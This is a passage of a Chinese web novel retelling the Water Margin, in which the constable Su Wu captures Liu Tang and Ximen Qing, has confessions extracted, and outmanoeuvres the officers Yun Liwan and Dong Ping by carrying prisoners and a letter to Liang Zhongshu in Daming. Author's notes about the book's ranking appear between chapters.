就看林子里,前后左右,都出来了人,皆是弓弩在身,腰间也有柴刀之类,还有人背着钢叉…… 不是官兵? 刘唐心中陡然欣喜不少,是官兵就没得说了,不是官兵就是好汉,那应当……还有得说。 刘唐躲在树后已然开言:“诸位好汉,误会误会!” 只是没人搭理,武松已然出现,走到苏武面前,前后一看,便是面露鄙夷:“哥哥,好一通忙碌,就这几个货色……” 站着的就四五个了,躺在地上嚎叫不止的,十来个。 苏武又转头去:“西门大官人?” “啊?”西门大官人活着呢。 “不出来见见?”苏武再问。 “这……就出来,都头也知,都是那参军云理万……”西门庆左右去看,看得心中一凉。 “出来说话……”苏武抬手在招,倒也是在那树后看到了一双惊恐的双眼。 (兄弟们真猛,昨天还在新书总榜五十一名,今天就干到三十名,真是欣喜非常,拜谢诸位兄弟!也不知道这新书榜最终能爬到多少名……) 第33章 林寨主,幸会幸会! 西门庆依旧左右在看,却是着实有点不敢出来。 却见武松已然往那里去,还骂:“直娘贼,便去一刀结果了你。” 西门庆立马就出来了,连连说道:“都头都头,我也不过是个听话跑腿之人,实乃是那参军云理万谋划的此事……” 就看武松迎上去把刀往那西门庆脖颈一挂,一手提着西门庆的后衣领就回。 西门庆在武松巨力之下,两条腿不断倒腾,已然就在苏武面前。 武松抬腿就踢在西门庆小腿之后:“跪下与我哥哥说话。” 西门哪里还能不跪,便是立马还要开口辩解,却见苏武摆了摆手,回头去问:“还有一位水泊梁山的好汉呢?” 那赤发鬼刘唐早已琢磨了形势,又是喊:“不知是哪里的好汉当面?我乃晁天王座下兄弟,也与宋押司交情颇深……” 能说出来的大名,刘唐都说出来了,托塔天王晁盖,在周遭州府江湖名声甚大。 郓城押司宋江,那是江湖及时雨,但凡江湖人去寻他救个急,他从来仗义疏财,便是山东地面,不知多少人得过他的恩惠。 若是江湖好汉,这两人搬出来,常常都有奇效。 只是这回,好似不见效了,虽然那些手持弓弩的汉子看起来像是哪个山寨的,偏偏就是无一人有反应。 倒是有一个大汉走向那都头一礼:“哥哥,咱兄弟不曾丢脸面吧?” 苏武只夸:“兄弟们一个个射术惊人,着实给某开了眼界。” “嘿嘿……哥哥谬赞。”林卯一礼,笑得开怀,转头去:“哥哥,我去把那厮提来!” 说着,林卯拔出柴刀,就往刘唐藏身之处去,左右几人跟随,个个张弓拉箭,倒也谨慎。 “出来!”林卯近前一喊。 刘唐也知形势,起身从树后出来,朴刀已放,打量林卯,还要问:“兄弟哪座山头?” “绑了!”林卯抬手一挥。 众兄弟上前七手八脚,只把刘唐绑个严实,便往苏武面前拖来。 “兄弟山寨何处啊?说不定与我家哥哥有旧呢?”刘唐说个不停,他向来也浑,此时却好似有了一些聪明。 也是林卯等人,看起来就真像是哪座山寨里的汉子。 还是苏武来答:“这位林兄弟,乃是景阳寨的当家。” 林卯都愣了愣,哪里来的什么景阳寨? 但苏武说有就有吧…… 当然会有,景阳冈是个好地方,景阳冈虽然地势不险,但景阳冈左右皆是地势险要之地,如此景阳岗才成了要道。 若是在景阳冈左右设个山寨,不说别的,也不抢不掠,也不打不杀,就收一些小小的过路费,那也必是一笔巨款。 发财的路子,这不就来了吗? 如今山东地面,乃至整个大宋,哪里不是山寨众多?有官府的堡寨,有绿林好汉的山寨。 景阳冈多个山寨有何不可?多个山寨还多几分安全保障。 这就是高明的抢。 刘唐还当真听得煞有介事:“嗯?以往不曾听说景阳冈上有山寨啊?” 苏武还真答:“如今不就听说了吗?” 刘唐好似还恍然大悟起来,点点头:“林寨主,幸会幸会!” 林卯横眉一看,只骂:“傻屌直娘贼,莫要来攀扯!谁认识你家什么哥哥!” 苏武稍稍抬手:“好了好了,人都齐了,地上这些,怕是救不活了,但既然都是梁山的,那应当也值得几贯钱,那五个也绑好,活的多值几贯,都打扫一下,加上这个刘唐,到时候一并送到大名府去,梁中书必是亏待不了。” 武松就笑:“哥哥,这般来钱倒是快,便是去把那梁山上的人都捉了,岂不发财了?” 就看刘唐忽然一改头前的态度,也是攀扯无用了,只是个勃然大怒:“苏武,你若把爷爷放了还好,若是不放,只待我梁山大军一到,便叫你满门死绝!” 武松大耳瓜子上去就抽:“还敢逞凶!” 武松这一巴掌去,直打得刘唐目光陡然清澈,昏昏沉沉,脑瓜子只有嗡嗡之声。 消停了。 苏武再看西门庆,西门庆立马转了个笑脸:“苏都头,那五百贯若是不够,我可回家再多取一些,往后月月上供,万万不敢推辞了。” 苏武点点头,问:“你有多少身家?” 西门庆挤出更多的笑:“屋舍院子,生药买卖,一些印子钱在外,七八千贯总是有的,往后街面上的营生,都头都有份。” “你也不太富啊?”苏武略有失望。 “往后跟着都头,自不就富起来了吗?”西门庆其实真是一把钻营的好手,在这个世道,只要给他机会,他真的能发达起来。 “先问你一件事……”苏武边说着,边把长刀收回腰间破烂的刀鞘里。 “知无不言言无不尽。”西门庆机灵非常。 “今日之事,是云理万吩咐你做的吧?”苏武先问。 “是是是,都是他。”西门庆早已说过了,此时只管点头,只要保得住命,什么都能应,脱了此困,其他的再说。 “那给你录个口供签字画押,倒也不难吧?”苏武再问。 西门庆稍稍犹豫,却也点头:“不难不难……前事后事,皆经我手,我都能说得清清楚楚。” “走,那咱们寻个地方好好说。”苏武乃是阳谷县的罪恶克星,乃是衙门里的公人,做事要有章法,办案要有程序。 说着,众人起身,兵刃都捡起来,尸首都扛上,活的绑着拉着,不回县城,都往景阳冈那边去。 只见得走的路不是往城里去,西门庆立马就急:“苏都头,咱办案不是往县衙去吗?” 显然西门庆知道,只要回县衙里,云理万就能收到消息,必然如热锅上的蚂蚁,定是要想方设法救人。 如今局势,已然牵扯上了梁山之贼,那云理万岂能不豁出命去? 这就是西门庆刚才想定的生路。 苏武岂能不知西门庆心中所想?便是只与武松说了一语:“也给他来一下。” 武松抬手,蒲扇大的巴掌就去,西门庆那双机灵的眼眸,也清澈了许多,一只眼眸往左去,一只眼眸往右去。 自也消停了…… 第34章 不好不好…… 小小山村之后,山腰有几间牛棚,几十号弓弩在手的汉子围在左右。 牛棚里撕心裂肺的惨叫。 有董坚这个老衙差,录口供,逼口供,那是一把好手。 苏武也不去看,只管让董坚一个个施展,五个喽啰,一个刘唐,还有西门庆,口供都要清清楚楚。 苏武只远远坐在山腰地垄之处,看那朝阳慢慢起,也与林卯说着话语:“山里日子苦,而今世道差……” 林卯点着头:“都头莫不是说刚才那景阳寨之事?” “嗯,我有个谋划,你听听看……”苏武是商量的语气。 “哥哥只管吩咐就是,只知哥哥不会害我等。”林卯直接说道。 “你还是听听看,景阳冈南北皆险,但北山尤甚,在那山头立一座堡寨,一来是自保,此番得罪了那梁山贼寇,那是大贼,来日说不得会来报复,有了险要堡寨,他们便是来多少人也无可奈何。” “好,我与众兄弟一商议,说去就去。”林卯已然点头。 “还没说完呢,其二呢,众兄弟们这一手射术啊,着实是好,胆气也不凡,与其在山林里与虎豹为伍,不如仗着本事做个营生,那景阳冈每日不知多少商旅,立了堡寨之后,倒也不仗势欺人,便是来往百抽其一,也是泼天的富贵,不知比在山林里寻营生要强多少!” “好说好说,哥哥的话,我岂能不听?”林卯再表态。 哪里知道,苏武还是没说完:“不急,还有其三,便是在这个地界,我当是护得住你们,来日若是我也有了正经官职,更是可以把这景阳寨弄个官府身份,自是无忧。” “哥哥着实思谋远大,我只管去做就是了,哥哥放心。”林卯再答。 “嗯,立堡寨要钱粮,七八日内,我先送一千贯来,你只管雇些人手赶工,以免夜长梦多。” “拜谢哥哥!上次哥哥就给了一千多贯,我等也一并用上,定不误事。”林卯已然起身大拜。 “到时候啊,我再帮你们寻些好兵甲,好弓弩,你还可以多招揽一些人手,如此还可发展壮大。”苏武当真想得极远。 “自是唯哥哥马首是瞻。”林卯已然有些激动,便是知道,从此命运大不同了。 “嗯,你我兄弟,自是勠力同心,把这前程越奔越好。”苏武说完,从地垄上起身,稍稍拍了一下屁股上的泥土。 朝阳正起,一片红日烧青天。 苏武忽然也有一种胸怀顿开之感,浑身好似充满了力气,只看这广大天地,当是大有作为。 再看林卯,林卯这汉子,竟是红了几分眼眶。 苏武笑了笑,手拍在他肩膀上,倒也没有多说的话语。 牛棚里的惨叫停了有一会儿了,苏武此时进去,看的是西门庆。 西门大官人那潇洒的模样有些不太潇洒了,脸肿得高高,身上沾满了牛粪,被绳索吊挂在横梁上,口鼻之处垂下来的液体,不知是口水还是鲜血。 只看到苏武进来,西门大官人微微睁眼,口中呜呜想说些什么,只是有些说不出个清楚来,显然遭罪不小。 遭罪了,那自然就是不太老实。 苏武开口:“西门大官人,其实某是个心善之人,看不得这般场面。兴许你也想问,落得如此下场,到底是哪里得罪了某?便也答你,其实也没有什么理由,终究是弱肉强食,你的事我知晓许多,就好比你与宋惠莲通奸,却杀他丈夫蒋聪……你杀得人,人也杀得你,你说这世道,是不是这个道理?” 一旁董坚还来问:“都头,此案当真?” 苏武点着头:“嗯,再把此案口供逼问清楚。” 却看那西门庆,头一栽,再也抬不起来。 “都头放心,再给这厮上上手段就是!”董坚咬牙切齿,没想到这西门庆还有杀人案在身。 苏武出门去,倒是走到了另外一个牛棚前,刘唐就在里面。 倒是这梁山还有些麻烦…… 仔细想想,如今梁山之势,晁盖吴用之辈,再加阮家兄弟,还有昔日王伦手下几人,几百个喽啰…… 其实不足为惧,真要去想,就是豹子头林冲了,林冲这人性格上虽然软弱了些,但不妨碍他武艺上当真是把好手,上马领兵打仗也不算庸人。 不过,此时此刻,梁山还真没有攻打城池的能力。 所以,这刘唐送到大名府去换成钱财与功劳,乃至在梁中书那里得个情面,值得做,暂时也不必担忧什么。 再多想几分,这梁山对于苏武而言,到底是个什么角色呢? 仔细一想,苏武立马也想明白了,大贼得有,大贼就是大功,大功就是前程。 这贼,还真需要!乃至苏武也想起了一个词来:养寇自重。 但这贼势,也当控制得住才行,不能真让他们肆虐起来。 想明白之后,苏武只觉得身形都轻快不少,未来之路,就在脚下。 此时,阳谷县里,云理万一反常态,今日竟是早早就到得城门楼子上落座吃茶。 他在等人,本是等得心情大好,只等佳音。 却是一等不来,二等也不来。 不免心中慢慢生急,招那牌头官来问:“可看到西门庆回返?” 那牌头官摇着头:“回参军,倒是不见那西门庆回返。” 云理万又问:“可看到那苏武回返了吗?” 牌头官再摇头:“也不见苏武回来……” 云理万一头雾水,只想这到底是怎么回事?几步出得城楼,打眼去看,近处也看,远处也眺。 再问:“可有什么人送书信来?” 牌头官只管摇头:“不曾有。” 云理万再抬头看那太阳在何处,已然心慌:“不好不好……” “参军,什么事不好?”牌头官也想为参军分忧。 却是参军哪里还理会他,只管往城楼台阶去下,先回一趟家,再飞快往那县衙里奔,赶快请见知县孟义。 孟义倒也见他,就问:“何事?” “嗯……下官怕是遇到难事了……”云理万躬身站着,姿态也低。 “哦?云参将在这阳谷县里,还能有难事?”孟义这话,兴许有几分阴阳怪气。 “也是下官莽撞,头前因为胞弟之事,与衙门里的苏都头起了一些嫌隙,都是同僚,本不该如此,往后下官自是好好管教胞弟,也请相公与苏都头往狮子楼一叙,便是想请相公做个中人,好让下官与那苏都头赔个不是,如此皆大欢喜,不知相公可有空暇?” 说着,云理万手边提着一个盒子,便放在了孟义身侧的茶几之上。 (兄弟们,昨日新书总榜三十名,今天掉了一名,成了三十一名。这爬榜之路漫漫啊……唯有再请再求了!大礼!新书期,一日两章,每章两千出头,这是无可奈何,只待上架,定然报答诸位兄弟大恩大德!) 第35章 狗急跳墙,不得不防 知县孟义看了一眼身边茶几上的木盒,说道:“参军何以如此客气啊?” 云理万只管笑:“相公,毕竟是冤家宜解不宜结嘛……” 孟义拿起那木盒,有几分沉重,打开看了看,一片金晃晃的光芒,竟是金饼子,只说:“稀罕物啊……这稀罕物,本县家中还真缺一些!” “小小薄礼,不成敬意。” 孟义又把那盒子盖上,放回了茶几上,慢慢说道:“若是早几天了,倒也好说,也不需要这些稀罕物,如今啊,怕是不成了……” 云理万心中一紧,就问:“如何说?” 孟义摆摆手:“本县也从来不曾参与这些事,那苏武啊……心中不快,嫌弃本县不给他做主,他便往知府衙门里去了,你说,如今是知府相公过问,本县又怎奈何?” “知府相公?”云理万听得心脏一停,立马又说:“这与知府相公何干啊?” 孟义摆摆手:“本县并不多知啊……” “相公何以还让一个小小都头骑在头上如此行事?”云理万再问。 孟义无奈笑了笑:“老夫是知阳谷县事,人家虽然新来不久,但也是知东平府事,老夫七品,人家五品,老夫穿青衣,人家穿红袍……” 这话说得……云理万愣了愣,口中有语:“那……那那……还请相公指教一二。” “指教啊?”孟义又看了看云理万。 云理万连忙上前,把那小茶几上的盒子往孟义身边推了推,说道:“还请相公指一条明路。” 显然,云理万是真急了,他虽然不知道城外具体发生了什么,却是心中惶恐不安,主要还是牵涉那梁山大贼,此时此刻,事出有妖…… 若是成了倒也无妨,若是一旦有失,那梁山大贼只要稍有牵扯,后果不堪设想。 孟义看了看身旁小茶几,慢慢说道:“他往东平府去,你便也往东平府去就是了,他一个小小都头,不过是个县衙吏员,你是个府参军,正儿八经是个八品上的武官,你有看重你的上官,他不过就是侥幸见了知府一面,他与你怎能比?” 云理万恍然大悟:“多谢相公指教。” 孟义点点头:“那这点稀罕物……” “不值什么,当真不值什么,下官这就往东平府去,告辞。”云理万当真一刻都等不得,回头就要走。 “慢走不送。”孟义不起身,只是挥挥手。 云理万自是转身快跑。 孟义把那小木盒再拿起来,打开再看看,嘟囔自言自语:“这般手笔,急了,真是急了啊……苏武啊苏武,你还真有几分造化,值得本县帮你一帮……” 苏武在做什么? 快马两匹,口供卷宗几摞,带着武松,在往东平府去的路上飞奔。 百来里路,下午半晌,进城直入府衙,倒是衙门里的官吏都认识他了,直往后衙请见。 知府程万里,依旧在那书房中,只看苏武递上来的那些公文。 “你坐你坐……”知府相公再次请坐。 苏武也不多说,直接坐在下手,只待知府相公一边看得一会儿,他也一边开始说:“逼良为娼,逼人典妻卖子,通奸,杀人……这些不过都是小罪了,竟是还敢勾结梁山贼寇陷杀官府衙差,那云理万,已然是狗急跳墙……” 知府相公点着头,却是眉头皱了起来。 显然事情不那么简单。 知府相公问:“这云理万之事,都是清楚……就是……” “相公,那云理万此时定然是慌乱了,慌乱之间,病急就要乱投医,他所能倚靠者,不外乎……董平。董平大概也难知其中详细,若是董平在云理万那里知道此事与卑职有关,必然怒上心头来。” 苏武想得太过透彻,这种关键时候,必须是智商占领高地。 程万里捋了捋胡须,点头:“如此,那董平怕是要与你誓不甘休,所以他十有八九会过问此事,会为那云理万出头。” “正是此意,董平心胸狭窄,便是看得我名,必会出手。”苏武点着头。 “你啊……”程万里投来一个赞许的眼神,一脸欣慰点头,胡须连连在捋,有了几分笑容:“真是不错,城府智计,皆非常人。” “相公交代之事,岂能不思前想后去深谋?”苏武只如此一答。 “好,甚好,那就按你想的去做。”程万里把那公文放在一边,再说:“此番啊,若是董平失势,你可愿……往东平府来?” “相公吩咐就是,卑职不曾多想,只把眼前事情办妥才是当务之急。” 苏武知道,自己的前程来了,第一步开始了,其实,也早有预料。 “哈哈……年纪轻轻,竟是这般沉稳,前途不可限量。”程万里当真笑出声来,又说:“你可莫以为本府所言有虚?岂不知,本府恩相何人?” 程万里第一次与苏武说出了私人之语。 “卑职不曾这般去想,只一心念着办妥此事,不出差池。”苏武却是忽然一想,想起来了,程万里当真上有恩相,名唤童贯。 童贯何许人也?此时此刻,他是检校太尉、开府仪同三司、签书枢密院事…… 这倒是意外之喜! 却见苏武并不表现什么欣喜,而是忽然眉头一皱,说道:“相公,此事还有几分危险其中。” “嗯?”程万里笑容一止。 苏武继续说:“东平府内,多是那董平心腹之辈,那董平本身也是个无法无天之人,就怕他狗急跳墙,不得不防。” “你是说……你说他敢吗?他安敢如此?”程万里还有些难以置信。 就说这大宋朝,怎么可能会有这般胆大包天的武夫?当真狗急跳墙了,还要当场起兵造反不成?还能肆虐州府城池不成? 苏武认真点点头:“只怕他……当真敢。府衙里那几队衙差,怕是拿他不住,他必也不是那束手就擒之辈。” 这个事,程序来办,一道一道来,扳倒董平应该问题不大。 怕就怕董平到时候当真心下一横,州府里的兵马,那是不可能对董平下死手的,衙门里的差役,那对董平而言,当真没什么威胁。 董平若是再起一些心腹,这东平府里,还真就任由董平肆虐了。 哪怕苏武当场,意义也不大,到时候百十号披甲马队,谁来了也挡不住了,还教他一番厮杀掳掠,报仇雪恨,从容而去。 程万里是一个来历不小的文官,刚才还一时真没往这个方向去想,因为平常里他还真接触不到这种事。 此时苏武提醒之后,再去一想,若真有个狗急跳墙,那真是一点办法都没有了。 程万里只问:“你……你既想到此节,可是有了应对之法?” “有!”苏武头一点。 程万里立马心中一松:“快说快说……” 第36章 又是那苏武? 苏武立马就说:“梁山贼寇,那是朝廷之大贼,是蔡太师与大名府梁中书恨之入骨之贼,卑职是想,不若直接就把此事擒到的人送往大名府梁中书衙门里去,也把这些案卷文书一并送往大名府去……” “接着说……”程万里皱眉思索。 “相公,是这般,东平府的兵马,靠不住。相公写一封书信,由卑职带到梁中书当面,送贼去是其一,如此一番,梁中书必然心中痛快,借兵来就不难了,只要有大名府的兵马到得东平府来,董平之事,自是万无一失。” 苏武把事情弄得这么复杂也是无奈,但凡他手中有一支堪用的兵马,不用太多,几百上千人,也不至于要把这事情弄得这么复杂。 实在是董平这个神经病不好对付,此时大名府有谁? 急先锋索超,索超正在大名府任职管军提辖使,这也是水浒顶尖战力之一,与青面兽杨志差不多水平。 索超其人,上阵打仗,悍勇无当。 程万里听得苏武之语,思索来去,已然点头:“竟是你比本府还想得周到,你这年轻人当真不同凡响,若是不通此节,一个不慎,还真是命悬一线之祸事,好好好,就依此法,你速带那些贼寇去大名府见梁中书,速速搬兵马来,书信,本府这就来写……” 说着,程万里已然起身,也不叫人,直往那书房长案去。 苏武倒也跟去,他来磨墨,程万里来写。 显然程万里还真有些被吓到了,刚才一刻,不免也想到了那无状匹夫刀斧加身的场景来,再看一眼苏武,便是暗自庆幸:“你当真不凡!” 程万里这种文官,就是久在高阁,丝毫不曾察觉到乱世将至,只以为世间依旧一片太平。 此时大宋朝,多是这般文官。 也是程万里当真见识到了董平这般人之后,再经过苏武一番提醒,才有了几分警觉,不然,还真是一个满门尽丧的结局。 磨着墨的苏武,只答:“相公乃文人,不知匹夫之恶也。” 便是这大宋朝哪个相公也想不到,就因为自己不愿意嫁女儿给一个武夫,会招致这般灭门惨剧。 很快,书信写就,程万里自己俯身去吹,吹得几番,吹干墨迹,叠好放入一个信封之中,递给苏武。 还说:“你这就出城去,莫要丝毫拖沓。” 苏武只管把信塞进怀中,稍稍一礼,转身就走。 还是快马,赶紧出城,这城池万万不能多留,若是多留,只怕那董平收到消息反应过来,又要上来找麻烦。 出城之时,正是黄昏,打马飞奔往外,苏武左右稍稍一瞥,看到一个熟人正往城池来,也是打马,马匹正在减速,身后跟着五六打马随从。 定睛一看,竟是云理万。 云理万似也看到了他,倒是巧了,云理万连忙招手:“苏都头。” 苏都头只当没看到也没听到,只管打马往阳谷县方向去,也就是大名府方向。 云理万再喊:“苏都头,稍待稍待,本将有话与你说。” 苏都头快马加鞭就去,哪里还会回头,却是武松,还转头怒目瞪来。 云理万看着飞奔而走的苏武理都不理他,心中更是一惊,左右说道:“当真不好,快快快,快入城!” 为何当真不好?苏武还在东平府与阳谷县的路上奔着,西门庆却没了踪影,局势必然已是最坏的结果了。 时不我待,当赶紧往城里去,直去董平府上,自也又带了一个木盒,木盒更大更重。 董平与云理万,自是老熟人,上下级的关系。 只听得云理万一通急言。 董平只问一句:“又是那苏武?” “正是那都头苏武啊,他着实毫不顾及同僚之情,非要把下官置于死地,下官还去问了阳谷知县孟义,那孟义只说此事已经到了知府衙门里,无奈何,只能来寻将军了!” “你与那县衙小小都头,算什么同僚?你也真是无用,一个县衙小小都头都能把你逼成这样。”董平是真来气。 “谁说不是呢,倒也不知他仗了谁的势,这般不把人放在眼里,原道是仗着新来的知府相公势头……这事啊,怕不是冲着下官来的……将军……” 云理万也是会说话的,显然对于董平最近的遭遇有所耳闻。 董平眉头一蹙,看了看云理万,就问:“怎么?是冲本将来的?” 云理万不正面答,只说:“知府相公好手段啊!” 董平脚步左右一踱,就骂:“直娘贼!靠个阉货为官之辈……当真是如今世道,有本事的不得看重,无卵之辈横行朝堂,腌臜之人坐在州府,殿陛之上皆是朽木为官!” 这骂的不是苏武,而是在骂不愿嫁女儿给他董平的知府程万里,也骂程万里的恩相童贯,童贯就是个宦官出身,是无卵之辈。 骂完了,董平稍稍解气,又说:“难怪那日苏武刚好出现在知府衙门前,便是那程万里知道那厮打了头老虎,就以为他如何了不得了,想着招来与本将作对,难怪那厮还当真敢与本将逞凶动手!” 云理万再问:“他还与将军动手呢?如今之局,这可如何是好啊?” “那苏武擒了你的人,如今在何处呢?”董平来问。 云理万稍稍一想,立马来答:“定然就在知府衙门的牢里。” “你怎么知道?”董平再问。 “适才黄昏下官入城来,正看到那厮打马出城去,看得清清楚楚,下官喊他叫他,他只管打马就跑,理都不理,定是把人送到府衙来了。” 云理万笃定非常。 “什么?他今日还入城来了?”董平只觉得痛失良机。 “正是!” “此番也难,人都到了知府衙门牢里,只怕不好操弄……”董平脚步再踱,便是在想办法了。 云理万立马说道:“那厮不把人留在阳谷县去审,而是送到府衙来,便是要罗织罪名来拿下官,拿了下官,自也是又要罗织罪名……” 说到这里,云理万也不全说…… 拿云理万罗织罪名,为何? 董平面色一狠:“走,随本将去府衙牢狱里看看!” 云理万心中一喜,立马出门去喊:“快快快,将军要出门了!” 便是院中,喊人的喊人,备马的备马。 (总榜二十九了,冲了两名,往后每日来报与诸位兄弟,拜谢诸位兄弟!) 第37章 这都是怎么回事? 这边,董平点了一些心腹,打马通街,就往府衙牢狱里去。 那边,苏武带着武松飞奔往阳谷县,也不入县城,直去景阳冈那边村里,西门庆、刘唐一干人等还羁押在那里。 一切从速,只管带着人犯就往大名府去,大名府也是大宋朝北京城,从阳谷县去大名府,也不远,二百里路出头。 东平府衙里,忽然吵闹起来,就是董平正在与衙门里一个押司争吵。 那押司在说:“这里是府衙,府衙牢狱,将军怎可随意冲闯?若是要进去见人,也当至少有通判的文书才是。” 董平甲胄在身,倒是没有立马发作,毕竟还真是这个章程。 只看董平回头轻声问云理万:“你可当真笃定人就在里面?” “将军,昨天傍晚事发,不见那苏武回阳谷,今日却见苏武那厮就出现在东平府,定然是把人擒到这里来了!” 云理万笃定非常,常理而想,公人办案,总是要点手段,也要有关押之处,更要人手来看管。 不是那个衙门,就是这个衙门。 董平转身去,对那押司便是呵斥:“你是个什么官?” “卑职不是官……”那押司还真不是官,就是个小小吏员。 “本将就是进去看看,何以不可?寻常百姓看个亲眷都可入此处,怎么?莫不是也要本将与你使些钱财?” 董平像是拿住了把柄来问,这话也不假。 那押司一脸为难,只管摆手摇头:“不是不是,将军误会,就是将军这般往里进,教人知晓了,卑职怕是担待不起啊。” “本将还得偷偷前来?”董平怒目再问。 也是以往,陈文昭当知府的时候,董平在这衙门里面子不小,而今换了知府,这个面子若是不管用了,那就是有人瞧不起他。 知府瞧不起他,倒是还忍得住一二,若是连个押司都瞧不起他,那他可不忍了。 那押司被吓了一吓,果然连忙说道:“将军何必为难卑职啊,将军只管往那判官之处走一遭就是,何人能为难将军?” 只看董平手一抬,把那押司往旁边一扒拉,话也不说了,就往里面去。 左右狱卒倒是不少,一个面面相觑,便是这东平府里谁人不知董将军手段非凡人? 这般当面,哪里吃罪得起?真是一通老打,又哪里能伸冤去? 就这么简单,董平当真闯进去了,那云理万跟在身后也进,还说:“将军好威势!” 董平来的时候就知道,进个牢狱,不过小事,却也稍稍昂头:“算不得什么事。” 府衙牢狱颇大,里面一间一间,黑咕隆咚,只见外人来,囚犯们皆趴着来看,云理万是四处去看,到处去找。 后衙书房里,也有人飞奔往知府面前禀告:“相公,可了不得,那董将军竟是无事闯进府衙大牢里去了……” “什么?”程万里也是一惊,便是着实觉得董平失心疯一般的胆大包天。 “这可如何是好啊?还请相公吩咐。” 如何是好?还能如何是好?起一本往朝廷与枢密院去弹劾,还能如何是好? 只待枢密院反应过来,弹劾真成了,太阳也都下山了。 程万里摆摆手:“随他去随他去,只要他不闯到这后衙里,都随他去。” 便是程万里也知道,这厮闯那大牢是为何,好在,有人棋高一着,当真就没把人带到东平府来,只管往北京大名府送去了。 便让他在牢里寻吧…… “那……”禀告之人对于知府的反应有些诧异。 “别这这那那了,你去吧……”程万里心情很不美,这种无可奈何的知府相公,就问这大宋朝还有第二号吗? 那禀报之人一脸疑惑退去了,也是闹不懂这世道是怎么回事了? 这位知府相公真是一点…… 不能议论知府相公,心中腹诽也要打住,别多想,赶紧走…… 那知府相公坐在书房里,倒也不是唉声叹气,而是有几分咬牙切齿,还有话语:“只管闹,便看你到时候如何收得场面……” 许多事,不当回事的时候,无人在意的时候,那都是小事,不叫事。 真当回事的时候,上纲上线的时候,那就是塌天之祸。 却是董平带着云理万在牢狱里好一通找,越找越是心焦。 云理万甚至大声来喊了:“西门庆!西门庆……” 还是找不到! 云理万已然急得满头大汗,却是董平开口来骂:“你这厮,当真是一点正经用处都派不上!” 只待找完一大圈,董平就问:“人呢?” 云理万一边皱眉在想,一边说道:“竟是不在这里,那……怕是又去了阳谷县衙。” “哼!”董平一声鼻响,迈步就出大牢,左右一看:“走!” 云理万跟得极快:“将军,下官这就回阳谷县去,只要人在阳谷县里,那倒也好说。” “你真是被一个小小都头耍得团团转,还教某跟着你胡乱忙碌。”董平语气极其不耐烦。 “将军放心,此番定然就在阳谷县,只待下官回阳谷去,便是万事大吉。”云理万连连拱手。 董平手一摆,手中的马鞭也是挥起,倒也不是打人,只是表达不爽:“事情弄清楚了,做爽利了,再来禀报。” “遵命遵命!”云理万连连躬身,就看董将军出得衙门,翻身上马就去。 云理万擦了擦额头上的汗水,连忙也上马,赶紧回阳谷,却也心中大定,安心许多,只要不在府衙里,在县衙里,怎么都好说。 那孟义其实不难打发,乃至就算有什么难做之事,终归在自己地盘了,如此危局,怎么也当想办法做得成。 那边苏武,二百里路还不到一半,这边,云理万已经就赶到了阳谷县。 只在城门下,云理万便是抬手一招,那城楼上的牌头官已然飞奔而下。 云理万也不管自己疲惫不堪,就问:“苏武可带了人回来?看到西门庆了吗?苏武与那叫武松的衙差入城了吗?” 连连三问,牌头官只管摇头:“回将军,小人一直盯着呢,不曾见啊……” “嗯?其他城门呢?”云理万再问。 “小人知道将军叮嘱此事,便是时时教人几面去问,当真不曾见人回来,县衙那边也有人看着,也不见人进了县衙……” 云理万一个巴掌拍在自己脑门上,左右去看,竟有几分恍惚:“这都是怎么回事?怎么回事……” “将军,怎么了?”牌头官还问呢。 “往校场去击鼓聚兵!”云理万已然不知如何是好了,但他还有座下一营兵马,便是他身份所恃,更是他安身立命的本钱。 倒也不是要干什么荒唐事,也干不了什么荒唐事,更不敢干什么荒唐事。 但总要想办法,那就唯有派人出城去寻了,到处去寻。 这般若是寻不见,哪里还能睡得着坐得住? 第38章 投石问路 只看得阳谷县不大的校场之中,鼓声已然响几通了,稀稀拉拉也不过二百多号人聚来。 抛开还要上值的百十号人,这阳谷县满打满算也不过三百多号兵丁。 按理说,云理万麾下,当有五百兵马,名册上必然也是这个数目,想来也是云理万赚钱的手段极多。 就看这二百来人,还一个个破衣烂衫,老弱不少,精气神更是不谈,连队伍都排不出个严整来…… 云理万好似见怪不怪,也不多说,只管让众人出城去寻那苏武与西门庆,对外只说是营里丢了几个人…… 他自己又往县衙去见知县。 见了知县一通说之后,那知县只管不知不懂不明所以。 云理万这边吩咐麾下一定好好寻找,自己又是不顾疲累,趁着夜色再打马往东平府去。 着实是焦头烂额,生死当前,却也不得不多作挣扎。 也是要豁出去了,再见董平,那当是和盘托出了,梁山刘唐之类的事,也不能再瞒了。 便是知道,这个时候,一定要让上官救命。 只待朝阳再起。 苏武已经出现在大名府城之外,这大名府城池,当真又不是东平府可比。 那城墙左右看去,绵延看不到城墙尽头,那城墙之高,怕是五丈不止,这般城池,难以想象攻城该有多难。 进城去,城池之广,居民之多,街面之繁华,完全又上了一个层次。 这里不愧是北京,酒家的招牌,楼宇的彩门,来往的车驾,乃至……那些勾栏瓦肆之处…… 只可惜这回来,事急,不然当真要在这里好好见识见识。 也想起这城里有名的浪荡子燕青,长相俊秀,吹拉弹唱样样精通,勾栏瓦肆里四处欢快…… 却也还想,不知那皇帝住的东京汴梁城又该是一番什么景象,说起来也有点熟悉,毕竟有那一篇千古名画《清明上河图》可窥探一角。 大名府衙,就更是气派,那被人劫去了十万生辰纲的梁中书,可就不是五品官了,中书就是官名,中书舍人,正四品之职。 已然就是朝廷中央要员,参政议政不在话下,更负责皇帝诏令所出。 梁中书,名梁世杰,只待他在大名府这里干得一段时间,不出意外的情况下回到京城里,有那岳父蔡京在后,必然又是扶摇直上。 苏武带着一干人来,绑缚的有七位,还有十几个猎户左右押送,又有苏武武松两个衙差在前,其实不伦不类。 只管把程万里的书信递给衙差,等待一刻多,就有人来引路进衙,其余人等皆在外院等候,苏武一人跟着引路之人连连往里进。 直到一个正堂偏屋,还等得片刻,才看那梁中书慢慢走了进来。 这人,也是四十来岁模样,面白如玉,微胖身形,看起来一副好卖相,只待苏武躬身一礼,他便开口:“你当真擒得那劫生辰纲的贼人?” “回中书相公,人犯已然带到,就在前衙院中。”苏武此时不知此人秉性,便是个中规中矩。 “嗯……程知府信中说,东平府有军汉私通贼寇?”梁中书再问。 苏武手中有一摞口供卷宗,只管往前去送,说道:“中书相公请看。” 梁中书拿起来自是翻看。 苏武倒也认真观瞧这人,慢慢有了一个基本印象,这人当是书香门第,自小锦衣玉食,然后进考得中,又娶得宰相蔡京之女,如此官运亨通…… 这般人,其实不好打交道。 